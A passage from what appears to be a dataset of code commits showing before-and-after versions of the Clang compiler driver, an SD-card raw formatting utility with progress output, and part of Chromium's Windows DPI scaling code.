const char *OverrideStr,\n                     std::set<std::string> &SavedStrings) {\n  llvm::raw_ostream *OS = &llvm::errs();\n\n  if (OverrideStr[0] == '#') {\n    ++OverrideStr;\n    OS = &llvm::nulls();\n  }\n\n  *OS << \"### QA_OVERRIDE_GCC3_OPTIONS: \" << OverrideStr << \"\\n\";\n\n  \/\/ This does not need to be efficient.\n\n  const char *S = OverrideStr;\n  while (*S) {\n    const char *End = ::strchr(S, ' ');\n    if (!End)\n      End = S + strlen(S);\n    if (End != S)\n      ApplyOneQAOverride(*OS, Args, std::string(S, End), SavedStrings);\n    S = End;\n    if (*S != '\\0')\n      ++S;\n  }\n}\n\nextern int cc1_main(const char **ArgBegin, const char **ArgEnd,\n                    const char *Argv0, void *MainAddr);\n\nint main(int argc, const char **argv) {\n  llvm::sys::PrintStackTraceOnErrorSignal();\n  llvm::PrettyStackTraceProgram X(argc, argv);\n\n  \/\/ Dispatch to cc1_main if appropriate.\n  if (argc > 1 && llvm::StringRef(argv[1]) == \"-cc1\")\n    return cc1_main(argv+2, argv+argc, argv[0],\n                    (void*) (intptr_t) GetExecutablePath);\n\n  bool CanonicalPrefixes = true;\n  for (int i = 1; i < argc; ++i) {\n    if (llvm::StringRef(argv[i]) == \"-no-canonical-prefixes\") {\n      CanonicalPrefixes = false;\n      break;\n    }\n  }\n\n  llvm::sys::Path Path = GetExecutablePath(argv[0], CanonicalPrefixes);\n\n  DriverDiagnosticPrinter DiagClient(Path.getBasename(), llvm::errs());\n\n  Diagnostic Diags(&DiagClient);\n\n#ifdef CLANG_IS_PRODUCTION\n  bool IsProduction = true;\n#else\n  bool IsProduction = false;\n#endif\n  Driver TheDriver(Path.getBasename(), Path.getDirname(),\n                   llvm::sys::getHostTriple(),\n                   \"a.out\", IsProduction, Diags);\n\n  \/\/ Check for \".*++\" or \".*++-[^-]*\" to determine if we are a C++\n  \/\/ compiler. This matches things like \"c++\", \"clang++\", and \"clang++-1.1\".\n  \/\/\n  \/\/ Note that we intentionally want to use argv[0] here, to support \"clang++\"\n  \/\/ being a symlink.\n  \/\/\n  \/\/ We use *argv instead of argv[0] to work around a bogus g++ warning.\n  std::string ProgName(llvm::sys::Path(*argv).getBasename());\n  if (llvm::StringRef(ProgName).endswith(\"++\") ||\n      llvm::StringRef(ProgName).rsplit('-').first.endswith(\"++\"))\n    TheDriver.CCCIsCXX = true;\n\n  llvm::OwningPtr<Compilation> C;\n\n  \/\/ Handle QA_OVERRIDE_GCC3_OPTIONS and CCC_ADD_ARGS, used for editing a\n  \/\/ command line behind the scenes.\n  std::set<std::string> SavedStrings;\n  if (const char *OverrideStr = ::getenv(\"QA_OVERRIDE_GCC3_OPTIONS\")) {\n    \/\/ FIXME: Driver shouldn't take extra initial argument.\n    std::vector<const char*> StringPointers(argv, argv + argc);\n\n    ApplyQAOverride(StringPointers, OverrideStr, SavedStrings);\n\n    C.reset(TheDriver.BuildCompilation(StringPointers.size(),\n                                       &StringPointers[0]));\n  } else if (const char *Cur = ::getenv(\"CCC_ADD_ARGS\")) {\n    std::vector<const char*> StringPointers;\n\n    \/\/ FIXME: Driver shouldn't take extra initial argument.\n    StringPointers.push_back(argv[0]);\n\n    for (;;) {\n      const char *Next = strchr(Cur, ',');\n\n      if (Next) {\n        StringPointers.push_back(SaveStringInSet(SavedStrings,\n                                                 std::string(Cur, Next)));\n        Cur = Next + 1;\n      } else {\n        if (*Cur != '\\0')\n          StringPointers.push_back(SaveStringInSet(SavedStrings, Cur));\n        break;\n      }\n    }\n\n    StringPointers.insert(StringPointers.end(), argv + 1, argv + argc);\n\n    C.reset(TheDriver.BuildCompilation(StringPointers.size(),\n                                       &StringPointers[0]));\n  } else\n    C.reset(TheDriver.BuildCompilation(argc, argv));\n\n  int Res = 0;\n  if (C.get())\n    Res = TheDriver.ExecuteCompilation(*C);\n\n  llvm::llvm_shutdown();\n\n  return Res;\n}\n<commit_msg>Driver: Use \"g++\" as generic gcc name when running in C++ mode, for platforms that lack real tool definitions.<commit_after>\/\/===-- driver.cpp - Clang GCC-Compatible Driver --------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This is the entry point to the clang driver; it is a thin wrapper\n\/\/ for functionality in the Driver clang library.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Driver\/Compilation.h\"\n#include \"clang\/Driver\/Driver.h\"\n#include \"clang\/Driver\/Option.h\"\n\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/ADT\/OwningPtr.h\"\n#include \"llvm\/Config\/config.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/PrettyStackTrace.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/System\/Host.h\"\n#include \"llvm\/System\/Path.h\"\n#include \"llvm\/System\/Signals.h\"\nusing namespace clang;\nusing namespace clang::driver;\n\nclass DriverDiagnosticPrinter : public DiagnosticClient {\n  std::string ProgName;\n  llvm::raw_ostream &OS;\n\npublic:\n  DriverDiagnosticPrinter(const std::string _ProgName,\n                          llvm::raw_ostream &_OS)\n    : ProgName(_ProgName),\n      OS(_OS) {}\n\n  virtual void HandleDiagnostic(Diagnostic::Level DiagLevel,\n                                const DiagnosticInfo &Info);\n};\n\nvoid DriverDiagnosticPrinter::HandleDiagnostic(Diagnostic::Level Level,\n                                               const DiagnosticInfo &Info) {\n  OS << ProgName << \": \";\n\n  switch (Level) {\n  case Diagnostic::Ignored: assert(0 && \"Invalid diagnostic type\");\n  case Diagnostic::Note:    OS << \"note: \"; break;\n  case Diagnostic::Warning: OS << \"warning: \"; break;\n  case Diagnostic::Error:   OS << \"error: \"; break;\n  case Diagnostic::Fatal:   OS << \"fatal error: \"; break;\n  }\n\n  llvm::SmallString<100> OutStr;\n  Info.FormatDiagnostic(OutStr);\n  OS.write(OutStr.begin(), OutStr.size());\n  OS << '\\n';\n}\n\nllvm::sys::Path GetExecutablePath(const char *Argv0, bool CanonicalPrefixes) {\n  if (!CanonicalPrefixes)\n    return llvm::sys::Path(Argv0);\n\n  \/\/ This just needs to be some symbol in the binary; C++ doesn't\n  \/\/ allow taking the address of ::main however.\n  void *P = (void*) (intptr_t) GetExecutablePath;\n  return llvm::sys::Path::GetMainExecutable(Argv0, P);\n}\n\nstatic const char *SaveStringInSet(std::set<std::string> &SavedStrings,\n                                   const std::string &S) {\n  return SavedStrings.insert(S).first->c_str();\n}\n\n\/\/\/ ApplyQAOverride - Apply a list of edits to the input argument lists.\n\/\/\/\n\/\/\/ The input string is a space separate list of edits to perform,\n\/\/\/ they are applied in order to the input argument lists. Edits\n\/\/\/ should be one of the following forms:\n\/\/\/\n\/\/\/  '#': Silence information about the changes to the command line arguments.\n\/\/\/\n\/\/\/  '^': Add FOO as a new argument at the beginning of the command line.\n\/\/\/\n\/\/\/  '+': Add FOO as a new argument at the end of the command line.\n\/\/\/\n\/\/\/  's\/XXX\/YYY\/': Replace the literal argument XXX by YYY in the\n\/\/\/  command line.\n\/\/\/\n\/\/\/  'xOPTION': Removes all instances of the literal argument OPTION.\n\/\/\/\n\/\/\/  'XOPTION': Removes all instances of the literal argument OPTION,\n\/\/\/  and the following argument.\n\/\/\/\n\/\/\/  'Ox': Removes all flags matching 'O' or 'O[sz0-9]' and adds 'Ox'\n\/\/\/  at the end of the command line.\n\/\/\/\n\/\/\/ \\param OS - The stream to write edit information to.\n\/\/\/ \\param Args - The vector of command line arguments.\n\/\/\/ \\param Edit - The override command to perform.\n\/\/\/ \\param SavedStrings - Set to use for storing string representations.\nvoid ApplyOneQAOverride(llvm::raw_ostream &OS,\n                        std::vector<const char*> &Args,\n                        const std::string &Edit,\n                        std::set<std::string> &SavedStrings) {\n  \/\/ This does not need to be efficient.\n\n  if (Edit[0] == '^') {\n    const char *Str =\n      SaveStringInSet(SavedStrings, Edit.substr(1, std::string::npos));\n    OS << \"### Adding argument \" << Str << \" at beginning\\n\";\n    Args.insert(Args.begin() + 1, Str);\n  } else if (Edit[0] == '+') {\n    const char *Str =\n      SaveStringInSet(SavedStrings, Edit.substr(1, std::string::npos));\n    OS << \"### Adding argument \" << Str << \" at end\\n\";\n    Args.push_back(Str);\n  } else if (Edit[0] == 'x' || Edit[0] == 'X') {\n    std::string Option = Edit.substr(1, std::string::npos);\n    for (unsigned i = 1; i < Args.size();) {\n      if (Option == Args[i]) {\n        OS << \"### Deleting argument \" << Args[i] << '\\n';\n        Args.erase(Args.begin() + i);\n        if (Edit[0] == 'X') {\n          if (i < Args.size()) {\n            OS << \"### Deleting argument \" << Args[i] << '\\n';\n            Args.erase(Args.begin() + i);\n          } else\n            OS << \"### Invalid X edit, end of command line!\\n\";\n        }\n      } else\n        ++i;\n    }\n  } else if (Edit[0] == 'O') {\n    for (unsigned i = 1; i < Args.size();) {\n      const char *A = Args[i];\n      if (A[0] == '-' && A[1] == 'O' &&\n          (A[2] == '\\0' ||\n           (A[3] == '\\0' && (A[2] == 's' || A[2] == 'z' ||\n                             ('0' <= A[2] && A[2] <= '9'))))) {\n        OS << \"### Deleting argument \" << Args[i] << '\\n';\n        Args.erase(Args.begin() + i);\n      } else\n        ++i;\n    }\n    OS << \"### Adding argument \" << Edit << \" at end\\n\";\n    Args.push_back(SaveStringInSet(SavedStrings, '-' + Edit));\n  } else {\n    OS << \"### Unrecognized edit: \" << Edit << \"\\n\";\n  }\n}\n\n\/\/\/ ApplyQAOverride - Apply a comma separate list of edits to the\n\/\/\/ input argument lists. See ApplyOneQAOverride.\nvoid ApplyQAOverride(std::vector<const char*> &Args, const char *OverrideStr,\n                     std::set<std::string> &SavedStrings) {\n  llvm::raw_ostream *OS = &llvm::errs();\n\n  if (OverrideStr[0] == '#') {\n    ++OverrideStr;\n    OS = &llvm::nulls();\n  }\n\n  *OS << \"### QA_OVERRIDE_GCC3_OPTIONS: \" << OverrideStr << \"\\n\";\n\n  \/\/ This does not need to be efficient.\n\n  const char *S = OverrideStr;\n  while (*S) {\n    const char *End = ::strchr(S, ' ');\n    if (!End)\n      End = S + strlen(S);\n    if (End != S)\n      ApplyOneQAOverride(*OS, Args, std::string(S, End), SavedStrings);\n    S = End;\n    if (*S != '\\0')\n      ++S;\n  }\n}\n\nextern int cc1_main(const char **ArgBegin, const char **ArgEnd,\n                    const char *Argv0, void *MainAddr);\n\nint main(int argc, const char **argv) {\n  llvm::sys::PrintStackTraceOnErrorSignal();\n  llvm::PrettyStackTraceProgram X(argc, argv);\n\n  \/\/ Dispatch to cc1_main if appropriate.\n  if (argc > 1 && llvm::StringRef(argv[1]) == \"-cc1\")\n    return cc1_main(argv+2, argv+argc, argv[0],\n                    (void*) (intptr_t) GetExecutablePath);\n\n  bool CanonicalPrefixes = true;\n  for (int i = 1; i < argc; ++i) {\n    if (llvm::StringRef(argv[i]) == \"-no-canonical-prefixes\") {\n      CanonicalPrefixes = false;\n      break;\n    }\n  }\n\n  llvm::sys::Path Path = GetExecutablePath(argv[0], CanonicalPrefixes);\n\n  DriverDiagnosticPrinter DiagClient(Path.getBasename(), llvm::errs());\n\n  Diagnostic Diags(&DiagClient);\n\n#ifdef CLANG_IS_PRODUCTION\n  bool IsProduction = true;\n#else\n  bool IsProduction = false;\n#endif\n  Driver TheDriver(Path.getBasename(), Path.getDirname(),\n                   llvm::sys::getHostTriple(),\n                   \"a.out\", IsProduction, Diags);\n\n  \/\/ Check for \".*++\" or \".*++-[^-]*\" to determine if we are a C++\n  \/\/ compiler. This matches things like \"c++\", \"clang++\", and \"clang++-1.1\".\n  \/\/\n  \/\/ Note that we intentionally want to use argv[0] here, to support \"clang++\"\n  \/\/ being a symlink.\n  \/\/\n  \/\/ We use *argv instead of argv[0] to work around a bogus g++ warning.\n  std::string ProgName(llvm::sys::Path(*argv).getBasename());\n  if (llvm::StringRef(ProgName).endswith(\"++\") ||\n      llvm::StringRef(ProgName).rsplit('-').first.endswith(\"++\")) {\n    TheDriver.CCCIsCXX = true;\n    TheDriver.CCCGenericGCCName = \"g++\";\n  }\n\n  llvm::OwningPtr<Compilation> C;\n\n  \/\/ Handle QA_OVERRIDE_GCC3_OPTIONS and CCC_ADD_ARGS, used for editing a\n  \/\/ command line behind the scenes.\n  std::set<std::string> SavedStrings;\n  if (const char *OverrideStr = ::getenv(\"QA_OVERRIDE_GCC3_OPTIONS\")) {\n    \/\/ FIXME: Driver shouldn't take extra initial argument.\n    std::vector<const char*> StringPointers(argv, argv + argc);\n\n    ApplyQAOverride(StringPointers, OverrideStr, SavedStrings);\n\n    C.reset(TheDriver.BuildCompilation(StringPointers.size(),\n                                       &StringPointers[0]));\n  } else if (const char *Cur = ::getenv(\"CCC_ADD_ARGS\")) {\n    std::vector<const char*> StringPointers;\n\n    \/\/ FIXME: Driver shouldn't take extra initial argument.\n    StringPointers.push_back(argv[0]);\n\n    for (;;) {\n      const char *Next = strchr(Cur, ',');\n\n      if (Next) {\n        StringPointers.push_back(SaveStringInSet(SavedStrings,\n                                                 std::string(Cur, Next)));\n        Cur = Next + 1;\n      } else {\n        if (*Cur != '\\0')\n          StringPointers.push_back(SaveStringInSet(SavedStrings, Cur));\n        break;\n      }\n    }\n\n    StringPointers.insert(StringPointers.end(), argv + 1, argv + argc);\n\n    C.reset(TheDriver.BuildCompilation(StringPointers.size(),\n                                       &StringPointers[0]));\n  } else\n    C.reset(TheDriver.BuildCompilation(argc, argv));\n\n  int Res = 0;\n  if (C.get())\n    Res = TheDriver.ExecuteCompilation(*C);\n\n  llvm::llvm_shutdown();\n\n  return Res;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <stdlib.h>\n\n#include <stdint.h>\n#include <unistd.h>\n\n#include <iostream>\n#include <fstream>\n#include <vector>\n#include <sstream>\n\n#ifndef WIN32\n#define _FILE_OFFSET_BITS 64\n#define MYSEEK64 fseek\n#include <fcntl.h>\n#include <sys\/ioctl.h>\n#include <linux\/fs.h>\n#undef BLOCK_SIZE\n#else\n#define MYSEEK64 _fseeki64\n#endif\n\n\/********************  SETTINGS  ********************\/\n\/\/ SDIO Settings\n#define BLOCK_SIZE              512ULL   \/* SD card block size in Bytes (512 for a normal SD card) *\/\n\n\/\/ Logger settings\n#define RX_BUFFER_NUM_BLOCKS    20ULL \/* 20 blocks * 512 = 10 KB RAM required per buffer*\/\n\/**************   END OF SETTINGS   *****************\/\n\n#define BUFF_SIZE  (BLOCK_SIZE*RX_BUFFER_NUM_BLOCKS)\n\n\/\/ max card size supported is 8MB\nuint64_t disk_size = 8ULL*1024ULL*1024ULL*1024ULL;\n\nvoid format_disk_raw(char* volume_name)\n{\n    FILE *volume;\n    int k = 0;\n    char buf[BUFF_SIZE] = {0, 0, 0, 0, 0};\n  \n\tint i;\n\n\tprintf(\"\\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\\nWe will block-format drive '%s' \\nAre you absolutely sure? Then type 1324: \",volume_name);\n\tstd::cin >> i;\n\tif (i != 1324)\n\t{\n\t\tprintf(\"\\n...\\nAborting...\\n\");\n\t\treturn;\n\t}\n\n#ifdef WIN32\n\tuint64_t sd = disk_size;\n\tsd \/= 1024ULL * 1024ULL;\n\tprintf(\"\\nExpecting an SD-card of %llu MB.\\n\",sd);\n#else\n\tint fd = open(volume_name, O_RDONLY);\n\n\tuint64_t sdcard_disk_size;\n\tioctl(fd, BLKGETSIZE64, &sdcard_disk_size);\n\tclose(fd);\n\tuint64_t sd = sdcard_disk_size \/ 1024ULL \/ 1024ULL;\n\t\n\tif (sd != 0)\n\t{\n\t\tdisk_size = sdcard_disk_size;\n\t\tprintf(\"Found an SG card of %llu MB %llu\\n\",sd, disk_size);\n\t} else {\n\t\tsd = disk_size \/ (1024ULL * 1024ULL);\n\t\tprintf(\"\\nExpecting an SD-card of %llu MB.\\n\",sd);\n\t}\n#endif\n\n    volume = fopen(volume_name, \"w+b\");\n    if(!volume)\n    {\n        printf(\"Cant open Drive '%s'\\n\", volume_name);\n        return;\n    }\n    setbuf(volume, NULL);       \/\/ Disable buffering\n\n\tprintf(\"\\nFormatting entire SDCard '%s': \\n...\\r\",volume_name);\n\tsleep(3);\n\n\tuint64_t addr = 0;\n\n\taddr= 0x2000 * BLOCK_SIZE;\n\n\tif(MYSEEK64(volume, addr, SEEK_SET) != 0)\n\t{\n\t\tprintf(\"Can't move to sector\\n\");\n\t\tfclose(volume);\n\t\treturn;\n\t}\n\n\tfwrite(buf, 5, 1, volume);\n\n\taddr = 0;\n    \/\/ read what is in sector and put in buf \/\/\n\twhile (addr < disk_size)\n\t{\n\t\tprintf(\".\");\n\n\t\tif(MYSEEK64(volume, addr, SEEK_SET) != 0)\n\t\t{\n\t\t\tprintf(\"Can't move to sector\\n\");\n\t\t\tbreak;\n\t\t}\n \n\t\tfwrite(buf, 1, 1, volume);\n\n\t\tint f = feof(volume);\n\t\tint e = ferror(volume);\n\n\t\tif (f!=0)\n\t\t{\n\t\t\tprintf(\"End of file system found at addr %lluX: \\n\",addr);\n\t\t\tbreak;\n\t\t}\n\t\tprintf(\"Format success until %llu: \\n\",addr);\n\n\t\taddr += BUFF_SIZE;\n\t}\n \n    fclose(volume);\n \n    return;\n}\n\nint main(int argc, char** argv)\n{\n\tchar outfilename[2048] = \"\";\n\n    printf(\"FORMAT SDCARD:\\n-------------\\n\");\n\n\tif (argc >= 2)\n\t{\n\t\tif (argc == 2)\n\t\t{\n\t\t\tformat_disk_raw(argv[1]);\n\t\t\texit(0);\n\t\t}\n\t}\n\telse\n\t{\n\t\tprintf(\"Please provide the disk drive you would like to format.\\n\");\n\t\tprintf(\"highspeedloggerbinaryformat <DRIVE>     : eg. '\/dev\/sdb' or '\\\\\\\\.\\\\G:'  \\n\");\n\t\texit(0);\n\t}\n\n\texit(-1);\n\n}\n\n<commit_msg>Make output of pprz_format more informative (#3)<commit_after>#include <stdio.h>\n#include <stdlib.h>\n\n#include <stdint.h>\n#include <unistd.h>\n\n#include <iostream>\n#include <fstream>\n#include <vector>\n#include <sstream>\n#include <time.h>\n#include <math.h>\n\n#ifndef WIN32\n#define _FILE_OFFSET_BITS 64\n#define MYSEEK64 fseek\n#include <fcntl.h>\n#include <sys\/ioctl.h>\n#include <linux\/fs.h>\n#undef BLOCK_SIZE\n#else\n#define MYSEEK64 _fseeki64\n#endif\n\n\/********************  SETTINGS  ********************\/\n\/\/ SDIO Settings\n#define BLOCK_SIZE              512ULL   \/* SD card block size in Bytes (512 for a normal SD card) *\/\n\n\/\/ Logger settings\n#define RX_BUFFER_NUM_BLOCKS    20ULL \/* 20 blocks * 512 = 10 KB RAM required per buffer*\/\n\/**************   END OF SETTINGS   *****************\/\n\n#define BUFF_SIZE  (BLOCK_SIZE*RX_BUFFER_NUM_BLOCKS)\n\n\/\/ max card size supported is 8MB\nuint64_t disk_size = 8ULL*1024ULL*1024ULL*1024ULL;\n\nvoid format_disk_raw(char* volume_name)\n{\n    FILE *volume;\n    int k = 0;\n    char buf[BUFF_SIZE] = {0, 0, 0, 0, 0};\n  \n\tint i;\n\n\tprintf(\"\\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\\nWe will block-format drive '%s' \\nAre you absolutely sure? Then type 1324: \",volume_name);\n\tstd::cin >> i;\n\tif (i != 1324)\n\t{\n\t\tprintf(\"\\n...\\nAborting...\\n\");\n\t\treturn;\n\t}\n\n#ifdef WIN32\n\tuint64_t sd = disk_size;\n\tsd \/= 1024ULL * 1024ULL;\n\tprintf(\"\\nExpecting an SD-card of %llu MB.\\n\",sd);\n#else\n\tint fd = open(volume_name, O_RDONLY);\n\n\tuint64_t sdcard_disk_size;\n\tioctl(fd, BLKGETSIZE64, &sdcard_disk_size);\n\tclose(fd);\n\tuint64_t sd = sdcard_disk_size \/ 1024ULL \/ 1024ULL;\n\t\n\tif (sd != 0)\n\t{\n\t\tdisk_size = sdcard_disk_size;\n\t\tprintf(\"Found an SG card of %llu MB %llu\\n\",sd, disk_size);\n\t} else {\n\t\tsd = disk_size \/ (1024ULL * 1024ULL);\n\t\tprintf(\"\\nExpecting an SD-card of %llu MB.\\n\",sd);\n\t}\n#endif\n\n    volume = fopen(volume_name, \"w+b\");\n    if(!volume)\n    {\n        printf(\"Cant open Drive '%s'\\n\", volume_name);\n        return;\n    }\n    setbuf(volume, NULL);       \/\/ Disable buffering\n\n\tprintf(\"\\nFormatting entire SDCard '%s': \\n...\\r\",volume_name);\n\tsleep(3);\n\n\tuint64_t addr = 0;\n\n\taddr= 0x2000 * BLOCK_SIZE;\n\n\tif(MYSEEK64(volume, addr, SEEK_SET) != 0)\n\t{\n\t\tprintf(\"Can't move to sector\\n\");\n\t\tfclose(volume);\n\t\treturn;\n\t}\n\n\tfwrite(buf, 5, 1, volume);\n\n\taddr = 0;\n    \/\/ read what is in sector and put in buf \/\/\n\n\ttime_t time_start = time(0);\n\tfloat remaining = 0;\n\twhile (addr < disk_size)\n\t{\n\t\tprintf(\".\");\n\n\t\tif(MYSEEK64(volume, addr, SEEK_SET) != 0)\n\t\t{\n\t\t\tprintf(\"Can't move to sector\\n\");\n\t\t\tbreak;\n\t\t}\n \n\t\tfwrite(buf, 1, 1, volume);\n\n\t\tint f = feof(volume);\n\t\tint e = ferror(volume);\n\n\t\tif (addr > 0)\n\t\t\tremaining = (time(0) - time_start) * ((float) disk_size \/ addr - 1);\n\n\t\tif (f!=0)\n\t\t{\n\t\t\tprintf(\"End of file system found at addr %lluX: \\n\",addr);\n\t\t\tbreak;\n\t\t}\n\t\tprintf(\"Format success until %llu (%lluMB), Done: %llu%%, Time left: %02.0f:%02.0f:%02.0f\\r\", addr, addr\/1000000, 100*addr\/disk_size, remaining \/ 3600, fmod(remaining, 3600) \/ 60, fmod(remaining, 60.));\n\n\t\taddr += BUFF_SIZE;\n\t}\n\tprintf(\"\\nDone\\n\");\n    fclose(volume);\n \n    return;\n}\n\nint main(int argc, char** argv)\n{\n\tchar outfilename[2048] = \"\";\n\n    printf(\"FORMAT SDCARD:\\n-------------\\n\");\n\n\tif (argc >= 2)\n\t{\n\t\tif (argc == 2)\n\t\t{\n\t\t\tformat_disk_raw(argv[1]);\n\t\t\texit(0);\n\t\t}\n\t}\n\telse\n\t{\n\t\tprintf(\"Please provide the disk drive you would like to format.\\n\");\n\t\tprintf(\"highspeedloggerbinaryformat <DRIVE>     : eg. '\/dev\/sdb' or '\\\\\\\\.\\\\G:'  \\n\");\n\t\texit(0);\n\t}\n\n\texit(-1);\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ui\/gfx\/win\/dpi.h\"\n\n#include <windows.h>\n#include \"base\/command_line.h\"\n#include \"base\/win\/scoped_hdc.h\"\n#include \"base\/win\/windows_version.h\"\n#include \"base\/win\/registry.h\"\n#include \"ui\/gfx\/display.h\"\n#include \"ui\/gfx\/switches.h\"\n#include \"ui\/gfx\/point_conversions.h\"\n#include \"ui\/gfx\/rect_conversions.h\"\n#include \"ui\/gfx\/size_conversions.h\"\n\nnamespace {\n\nint kDefaultDPIX = 96;\nint kDefaultDPIY = 96;\n\nBOOL IsProcessDPIAwareWrapper() {\n  typedef BOOL(WINAPI *IsProcessDPIAwarePtr)(VOID);\n  IsProcessDPIAwarePtr is_process_dpi_aware_func =\n      reinterpret_cast<IsProcessDPIAwarePtr>(\n          GetProcAddress(GetModuleHandleA(\"user32.dll\"), \"IsProcessDPIAware\"));\n  if (is_process_dpi_aware_func)\n    return is_process_dpi_aware_func();\n  return FALSE;\n}\n\nfloat g_device_scale_factor = 0.0f;\n\nfloat GetUnforcedDeviceScaleFactor() {\n  return static_cast<float>(gfx::GetDPI().width()) \/\n      static_cast<float>(kDefaultDPIX);\n}\n\nfloat GetModernUIScaleWrapper() {\n  float result = 1.0f;\n  typedef float(WINAPI *GetModernUIScalePtr)(VOID);\n  HMODULE lib = LoadLibraryA(\"metro_driver.dll\");\n  if (lib) {\n    GetModernUIScalePtr func =\n        reinterpret_cast<GetModernUIScalePtr>(\n        GetProcAddress(lib, \"GetModernUIScale\"));\n    if (func)\n      result = func();\n    FreeLibrary(lib);\n  }\n  return result;\n}\n\n}  \/\/ namespace\n\nnamespace gfx {\n\nfloat GetModernUIScale() {\n  return GetModernUIScaleWrapper();\n}\n\nvoid InitDeviceScaleFactor(float scale) {\n  DCHECK_NE(0.0f, scale);\n  g_device_scale_factor = scale;\n}\n\nSize GetDPI() {\n  static int dpi_x = 0;\n  static int dpi_y = 0;\n  static bool should_initialize = true;\n\n  if (should_initialize) {\n    should_initialize = false;\n    base::win::ScopedGetDC screen_dc(NULL);\n    \/\/ This value is safe to cache for the life time of the app since the\n    \/\/ user must logout to change the DPI setting. This value also applies\n    \/\/ to all screens.\n    dpi_x = GetDeviceCaps(screen_dc, LOGPIXELSX);\n    dpi_y = GetDeviceCaps(screen_dc, LOGPIXELSY);\n  }\n  return Size(dpi_x, dpi_y);\n}\n\nfloat GetDPIScale() {\n  if (IsHighDPIEnabled()) {\n    return gfx::Display::HasForceDeviceScaleFactor() ?\n        gfx::Display::GetForcedDeviceScaleFactor() :\n        GetUnforcedDeviceScaleFactor();\n  }\n  return 1.0;\n}\n\nbool IsHighDPIEnabled() {\n  \/\/ Default is disabled.\n  if (CommandLine::ForCurrentProcess()->HasSwitch(\n      switches::kHighDPISupport)) {\n    return CommandLine::ForCurrentProcess()->GetSwitchValueASCII(\n        switches::kHighDPISupport).compare(\"1\") == 0;\n  }\n  return false;\n}\n\nbool IsInHighDPIMode() {\n  return GetDPIScale() > 1.0;\n}\n\nvoid EnableHighDPISupport() {\n  if (IsHighDPIEnabled()) {\n    typedef BOOL(WINAPI *SetProcessDPIAwarePtr)(VOID);\n    SetProcessDPIAwarePtr set_process_dpi_aware_func =\n        reinterpret_cast<SetProcessDPIAwarePtr>(\n            GetProcAddress(GetModuleHandleA(\"user32.dll\"),\n                           \"SetProcessDPIAware\"));\n    if (set_process_dpi_aware_func)\n      set_process_dpi_aware_func();\n  }\n}\n\nnamespace win {\n\nfloat GetDeviceScaleFactor() {\n  DCHECK_NE(0.0f, g_device_scale_factor);\n  return g_device_scale_factor;\n}\n\nPoint ScreenToDIPPoint(const Point& pixel_point) {\n  static float scaling_factor =\n      GetDeviceScaleFactor() > GetUnforcedDeviceScaleFactor() ?\n      1.0f \/ GetDeviceScaleFactor() :\n      1.0f;\n  return ToFlooredPoint(ScalePoint(pixel_point,\n      scaling_factor));\n}\n\nPoint DIPToScreenPoint(const Point& dip_point) {\n  return ToFlooredPoint(ScalePoint(dip_point, GetDeviceScaleFactor()));\n}\n\nRect ScreenToDIPRect(const Rect& pixel_bounds) {\n  \/\/ TODO(kevers): Switch to non-deprecated method for float to int conversions.\n  return ToFlooredRectDeprecated(\n      ScaleRect(pixel_bounds, 1.0f \/ GetDeviceScaleFactor()));\n}\n\nRect DIPToScreenRect(const Rect& dip_bounds) {\n  \/\/ TODO(kevers): Switch to non-deprecated method for float to int conversions.\n  return ToFlooredRectDeprecated(\n      ScaleRect(dip_bounds, GetDeviceScaleFactor()));\n}\n\nSize ScreenToDIPSize(const Size& size_in_pixels) {\n  return ToFlooredSize(\n      ScaleSize(size_in_pixels, 1.0f \/ GetDeviceScaleFactor()));\n}\n\nSize DIPToScreenSize(const Size& dip_size) {\n  return ToFlooredSize(ScaleSize(dip_size, GetDeviceScaleFactor()));\n}\n\nint GetSystemMetricsInDIP(int metric) {\n  return static_cast<int>(GetSystemMetrics(metric) \/\n      GetDeviceScaleFactor() + 0.5);\n}\n\ndouble GetUndocumentedDPIScale() {\n  \/\/ TODO(girard): Remove this code when chrome is DPIAware.\n  static double scale = -1.0;\n  if (scale == -1.0) {\n    scale = 1.0;\n    if (!IsProcessDPIAwareWrapper()) {\n      base::win::RegKey key(HKEY_CURRENT_USER,\n                            L\"Control Panel\\\\Desktop\\\\WindowMetrics\",\n                            KEY_QUERY_VALUE);\n      if (key.Valid()) {\n        DWORD value = 0;\n        if (key.ReadValueDW(L\"AppliedDPI\", &value) == ERROR_SUCCESS) {\n          scale = static_cast<double>(value) \/ kDefaultDPIX;\n        }\n      }\n    }\n  }\n  return scale;\n}\n\ndouble GetUndocumentedDPITouchScale() {\n  static double scale =\n      (base::win::GetVersion() < base::win::VERSION_WIN8_1) ?\n      GetUndocumentedDPIScale() : 1.0;\n  return scale;\n}\n\n}  \/\/ namespace win\n}  \/\/ namespace gfx\n<commit_msg>Disable calls to SetProcessDPIAware under Win8.1 (Rebase)<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ui\/gfx\/win\/dpi.h\"\n\n#include <windows.h>\n#include \"base\/command_line.h\"\n#include \"base\/win\/scoped_hdc.h\"\n#include \"base\/win\/windows_version.h\"\n#include \"base\/win\/registry.h\"\n#include \"ui\/gfx\/display.h\"\n#include \"ui\/gfx\/switches.h\"\n#include \"ui\/gfx\/point_conversions.h\"\n#include \"ui\/gfx\/rect_conversions.h\"\n#include \"ui\/gfx\/size_conversions.h\"\n\nnamespace {\n\nint kDefaultDPIX = 96;\nint kDefaultDPIY = 96;\n\nBOOL IsProcessDPIAwareWrapper() {\n  typedef BOOL(WINAPI *IsProcessDPIAwarePtr)(VOID);\n  IsProcessDPIAwarePtr is_process_dpi_aware_func =\n      